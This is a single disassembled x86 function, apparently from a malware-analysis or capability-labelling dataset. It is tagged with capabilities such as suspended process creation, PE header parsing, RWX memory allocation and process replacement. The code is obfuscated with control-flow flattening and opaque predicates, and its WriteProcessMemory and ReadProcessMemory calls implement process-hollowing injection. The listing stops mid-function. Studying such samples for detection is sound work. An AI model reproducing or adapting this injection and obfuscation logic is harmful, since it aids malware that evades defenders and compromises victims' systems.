Function at 0x10003230
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x16c
mov eax, dword [0x1006a800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x174], 0xe061b68b
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x178], eax
sub eax, 0x812766ce
je 0x1000bb90
jmp 0x1000326c
mov eax, dword [ebp - 0x178]
sub eax, 0x81bb3131
je 0x10007ea2
jmp 0x10003282
mov eax, dword [ebp - 0x178]
sub eax, 0x82067f18
je 0x1000c4f6
jmp 0x10003298
mov eax, dword [ebp - 0x178]
sub eax, 0x8218e99a
je 0x1000828b
jmp 0x100032ae
mov eax, dword [ebp - 0x178]
sub eax, 0x8360edf0
je 0x1000be73
jmp 0x100032c4
mov eax, dword [ebp - 0x178]
sub eax, 0x8361e9c6
je 0x10005cd4
jmp 0x100032da
mov eax, dword [ebp - 0x178]
sub eax, 0x8435d7fb
je 0x10006493
jmp 0x100032f0
mov eax, dword [ebp - 0x178]
sub eax, 0x849426bf
je 0x1000c043
jmp 0x10003306
mov eax, dword [ebp - 0x178]
sub eax, 0x85cde4b8
je 0x1000a576
jmp 0x1000331c
mov eax, dword [ebp - 0x178]
sub eax, 0x85fd8fd8
je 0x1000b289
jmp 0x10003332
mov eax, dword [ebp - 0x178]
sub eax, 0x863d9ea8
je 0x10006951
jmp 0x10003348
mov eax, dword [ebp - 0x178]
sub eax, 0x8781f6d4
je 0x10006a0a
jmp 0x1000335e
mov eax, dword [ebp - 0x178]
sub eax, 0x887b7957
je 0x100070d8
jmp 0x10003374
mov eax, dword [ebp - 0x178]
sub eax, 0x888f13c9
je 0x10009cb6
jmp 0x1000338a
mov eax, dword [ebp - 0x178]
sub eax, 0x891b74ff
je 0x1000bd5e
jmp 0x100033a0
mov eax, dword [ebp - 0x178]
sub eax, 0x896a8bce
je 0x10007dbc
jmp 0x100033b6
mov eax, dword [ebp - 0x178]
sub eax, 0x89bf1431
je 0x1000b309
jmp 0x100033cc
mov eax, dword [ebp - 0x178]
sub eax, 0x89ff31b1
je 0x100074ab
jmp 0x100033e2
mov eax, dword [ebp - 0x178]
sub eax, 0x8a7d4872
je 0x10006379
jmp 0x100033f8
mov eax, dword [ebp - 0x178]
sub eax, 0x8a8fea98
je 0x1000b08c
jmp 0x1000340e
mov eax, dword [ebp - 0x178]
sub eax, 0x8aaa35f3
je 0x10007ed0
jmp 0x10003424
mov eax, dword [ebp - 0x178]
sub eax, 0x8aba62f0
je 0x10009479
jmp 0x1000343a
mov eax, dword [ebp - 0x178]
sub eax, 0x8ac7423b
je 0x1000958b
jmp 0x10003450
mov eax, dword [ebp - 0x178]
sub eax, 0x8b3b438b
je 0x10008b7a
jmp 0x10003466
mov eax, dword [ebp - 0x178]
sub eax, 0x8b6ab14d
je 0x10008c9c
jmp 0x1000347c
mov eax, dword [ebp - 0x178]
sub eax, 0x8bf8e9f2
je 0x1000a6a9
jmp 0x10003492
mov eax, dword [ebp - 0x178]
sub eax, 0x8c124c4d
je 0x1000b35a
jmp 0x100034a8
mov eax, dword [ebp - 0x178]
sub eax, 0x8cc6ab88
je 0x100093a8
jmp 0x100034be
mov eax, dword [ebp - 0x178]
sub eax, 0x8ce753dc
je 0x1000839b
jmp 0x100034d4
mov eax, dword [ebp - 0x178]
sub eax, 0x8d0c46c7
je 0x10008f79
jmp 0x100034ea
mov eax, dword [ebp - 0x178]
sub eax, 0x8d891891
je 0x1000adbb
jmp 0x10003500
mov eax, dword [ebp - 0x178]
sub eax, 0x8dd8fd69
je 0x10008581
jmp 0x10003516
mov eax, dword [ebp - 0x178]
sub eax, 0x8ef630a9
je 0x100096d4
jmp 0x1000352c
mov eax, dword [ebp - 0x178]
sub eax, 0x8f489304
je 0x10007c2e
jmp 0x10003542
mov eax, dword [ebp - 0x178]
sub eax, 0x8f62d5e8
je 0x1000871a
jmp 0x10003558
mov eax, dword [ebp - 0x178]
sub eax, 0x8fbb1f56
je 0x100067a5
jmp 0x1000356e
mov eax, dword [ebp - 0x178]
sub eax, 0x9015963f
je 0x100086c2
jmp 0x10003584
mov eax, dword [ebp - 0x178]
sub eax, 0x90928c15
je 0x1000bd3f
jmp 0x1000359a
mov eax, dword [ebp - 0x178]
sub eax, 0x90f425d9
je 0x10007ad3
jmp 0x100035b0
mov eax, dword [ebp - 0x178]
sub eax, 0x90f8f1b0
je 0x10007140
jmp 0x100035c6
mov eax, dword [ebp - 0x178]
sub eax, 0x914de7ce
je 0x10006db7
jmp 0x100035dc
mov eax, dword [ebp - 0x178]
sub eax, 0x9165f78f
je 0x10006201
jmp 0x100035f2
mov eax, dword [ebp - 0x178]
sub eax, 0x917cb8a4
je 0x1000b0fc
jmp 0x10003608
mov eax, dword [ebp - 0x178]
sub eax, 0x918801b4
je 0x10006759
jmp 0x1000361e
mov eax, dword [ebp - 0x178]
sub eax, 0x92cde075
je 0x1000ae2e
jmp 0x10003634
mov eax, dword [ebp - 0x178]
sub eax, 0x93e47283
je 0x1000704f
jmp 0x1000364a
mov eax, dword [ebp - 0x178]
sub eax, 0x951d8d0b
je 0x1000c072
jmp 0x10003660
mov eax, dword [ebp - 0x178]
sub eax, 0x963f0306
je 0x1000ba6f
jmp 0x10003676
mov eax, dword [ebp - 0x178]
sub eax, 0x96488904
je 0x10007f21
jmp 0x1000368c
mov eax, dword [ebp - 0x178]
sub eax, 0x96e64b88
je 0x1000bd7d
jmp 0x100036a2
mov eax, dword [ebp - 0x178]
sub eax, 0x97ad4579
je 0x100094fe
jmp 0x100036b8
mov eax, dword [ebp - 0x178]
sub eax, 0x98c91c23
je 0x10009ac5
jmp 0x100036ce
mov eax, dword [ebp - 0x178]
sub eax, 0x98d0dcb4
je 0x1000c132
jmp 0x100036e4
mov eax, dword [ebp - 0x178]
sub eax, 0x991ffaff
je 0x1000bdda
jmp 0x100036fa
mov eax, dword [ebp - 0x178]
sub eax, 0x99aa551f
je 0x10007ced
jmp 0x10003710
mov eax, dword [ebp - 0x178]
sub eax, 0x99e09c4c
je 0x1000a2b2
jmp 0x10003726
mov eax, dword [ebp - 0x178]
sub eax, 0x9adcf1f4
je 0x1000bc39
jmp 0x1000373c
mov eax, dword [ebp - 0x178]
sub eax, 0x9be33a15
je 0x100069fb
jmp 0x10003752
mov eax, dword [ebp - 0x178]
sub eax, 0x9c4ff800
je 0x10008535
jmp 0x10003768
mov eax, dword [ebp - 0x178]
sub eax, 0x9c780f60
je 0x1000635c
jmp 0x1000377e
mov eax, dword [ebp - 0x178]
sub eax, 0x9cedc150
je 0x100090f6
jmp 0x10003794
mov eax, dword [ebp - 0x178]
sub eax, 0x9e29c3f6
je 0x10005b10
jmp 0x100037aa
mov eax, dword [ebp - 0x178]
sub eax, 0x9ee97c23
je 0x1000be92
jmp 0x100037c0
mov eax, dword [ebp - 0x178]
sub eax, 0x9eedfbf3
je 0x10006925
jmp 0x100037d6
mov eax, dword [ebp - 0x178]
sub eax, 0x9fbb39eb
je 0x1000bfe6
push eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5371425f
mov ecx, 0x2c96de94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
movss xmm0, dword [0x1001922c]
movss dword [ebp - 0x114], xmm0
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
add edx, 0x3a6447ad
sub edx, 1
sub edx, 0x3a6447ad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc857d22b
mov ecx, 0x678fc822
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
movss xmm0, dword [0x10019380]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x174], 0xbd798d2b
jmp 0x1000c5e1
mov dl, 1
mov eax, 0x8435d7fb
mov ecx, 0x8a7d4872
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
movss xmm0, dword [0x10019368]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x174], 0x3afb96b5
jmp 0x1000c5e1
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc1d35e30
mov ecx, 0x6f8e99cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov dl, 1
mov eax, 0xe3c5aa5c
mov ecx, 0xb274be59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0x644405a3
sub edx, 1
add edx, 0x644405a3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6526de29
mov ecx, 0x27364bff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0xc7234cc4
jmp 0x1000c5e1
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9adcf1f4
mov ecx, 0x101bf141
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0x8781f6d4
jmp 0x1000c5e1
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d581687
mov ecx, 0xcd4d0d51
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0x40e1430f
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0x27f747cf
jmp 0x1000c5e1
movss xmm0, dword [0x1001932c]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x174], 0x33b377b9
jmp 0x1000c5e1
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0x50355142
sub edx, 1
add edx, 0x50355142
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x57d42348
mov ecx, 0x9fe6a51a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
movss xmm0, dword [0x10019304]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x174], 0x55fc6ba9
jmp 0x1000c5e1
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
add edx, 0x1d017931
sub edx, 1
sub edx, 0x1d017931
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2f411e4e
mov ecx, 0xb966db55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
add edx, 0xc571f049
sub edx, 1
sub edx, 0xc571f049
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6e4b76f5
mov ecx, 0xeab6d46a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0xdbb058e0
sub edx, 1
add edx, 0xdbb058e0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfd4cbbd8
mov ecx, 0xf2c10486
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0xf68fccbd
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0xfe5d44e3
jmp 0x1000c5e1
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
add edx, 0x2d160c5b
sub edx, 1
sub edx, 0x2d160c5b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x666474b
mov ecx, 0x96488904
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x666474b
mov ecx, 0xe08755fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
movss xmm0, dword [0x100192bc]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x174], 0xe8a3a0ef
jmp 0x1000c5e1
movss xmm0, dword [0x100191d0]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x100191cc]
movss dword [ebp - 0x128], xmm0
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0xd57b2075
sub edx, 1
add edx, 0xd57b2075
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xad051ffd
mov ecx, 0x2bc86987
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov dl, 1
mov eax, 0xed7b235
mov ecx, 0xc72a25c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0xed7b235
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0x26c4c1ef
jmp 0x1000c5e1
movss xmm0, dword [0x100191c4]
movss dword [ebp - 0x128], xmm0
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
add edx, 0xc578f54d
sub edx, 1
sub edx, 0xc578f54d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa22a07c0
mov ecx, 0xffab8d0b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov dl, 1
mov eax, 0x8b6ab14d
mov ecx, 0x44abb320
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
movss xmm0, dword [0x10019270]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x174], 0xa9ca5776
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0x73dd25fc
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0x5ffd14d4
jmp 0x1000c5e1
movss xmm0, dword [0x1001919c]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x10019198]
movss dword [ebp - 0x130], xmm0
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0x93d177bb
sub edx, 1
add edx, 0x93d177bb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x849426bf
mov ecx, 0xb7be1bde
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
add edx, 0xf77233c2
sub edx, 1
sub edx, 0xf77233c2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x951d8d0b
mov ecx, 0x43ff09d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
movss xmm0, dword [0x10019254]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x174], 0x6ada0dbf
jmp 0x1000c5e1
movss xmm0, dword [0x10019194]
movss dword [ebp - 0x130], xmm0
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0xdd5c4f4a
sub edx, 1
add edx, 0xdd5c4f4a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd3a8a17e
mov ecx, 0xbe3f512
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
add edx, 0x9d5c08c8
sub edx, 1
sub edx, 0x9d5c08c8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7fa85335
mov ecx, 0x642e1b9d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
movss xmm0, dword [0x10019234]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x10019230]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x174], 0xd57bcf3d
jmp 0x1000c5e1
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000d860
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000d860
add esp, 0xc
mov eax, dword [ebp - 0x140]
add eax, 0x18
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x174], 0x71f5aeaf
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0x72c6da99
jmp 0x1000c5e1
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xc9], al
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
add edx, 0xeb29cee6
sub edx, 1
sub edx, 0xeb29cee6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe9a9d1f8
mov ecx, 0x2cdc0571
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x134]
mov edx, dword [ebp - 0x110]
mov edx, dword [edx]
mov esi, dword [ebp - 0x100]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x110]
mov esi, dword [esi]
mov edi, dword [ebp - 0x100]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
add edx, 0x507808d9
add edx, esi
sub edx, 0x507808d9
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x110]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x100]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002e70
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc4], eax
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0x66434db4
sub edx, 1
add edx, 0x66434db4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbec77185
mov ecx, 0x3de1e02e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
add eax, 0xf2836567
add eax, 1
sub eax, 0xf2836567
mov dword [ebp - 0xac], eax
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4a15748c
mov ecx, 0xa1727d70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0xac]
mov dword [eax], ecx
mov dword [ebp - 0x174], 0xdc24aa31
jmp 0x1000c5e1
mov edx, dword [ebp - 0x9c]
mov eax, 0xc3be2ca1
mov ecx, 0x3f2a3889
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x98]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x34]
add ecx, 0x6f1fb8c5
sub ecx, eax
sub ecx, 0x6f1fb8c5
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov dword [eax], 0
mov dword [ebp - 0x174], 0x29b5d879
jmp 0x1000c5e1
mov eax, dword [ebp - 0x8c]
movzx eax, word [eax]
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x5c908f15
mov ecx, 0xd83bbce7
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
add edx, 0x961776e8
sub edx, 1
sub edx, 0x961776e8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe28cf7fe
mov ecx, 0x8c124c4d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov eax, dword [ebp - 0x84]
movzx eax, word [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfff
mov ecx, 0xffffffff
xor ecx, 0x6a5620cd
or eax, edx
or ecx, 0x6a5620cd
xor eax, 0xffffffff
and eax, ecx
mov ecx, dword [ebp - 0x88]
add ecx, 0x6a344807
add ecx, eax
sub ecx, 0x6a344807
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xe4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x7d], al
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe28cf7fe
mov ecx, 0xc4d95a5e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0x8ba45b15
sub edx, 1
add edx, 0x8ba45b15
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x59512add
mov ecx, 0x4a41f614
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0x3859da77
jmp 0x1000c5e1
movss xmm0, dword [0x10019210]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x174], 0x101bf141
jmp 0x1000c5e1
movss xmm0, dword [0x100191f4]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x174], 0xdc45c8e
jmp 0x1000c5e1
movss xmm0, dword [0x100191f0]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x174], 0x1e422fc2
jmp 0x1000c5e1
movss xmm0, dword [0x100191ec]
movss dword [ebp - 0x120], xmm0
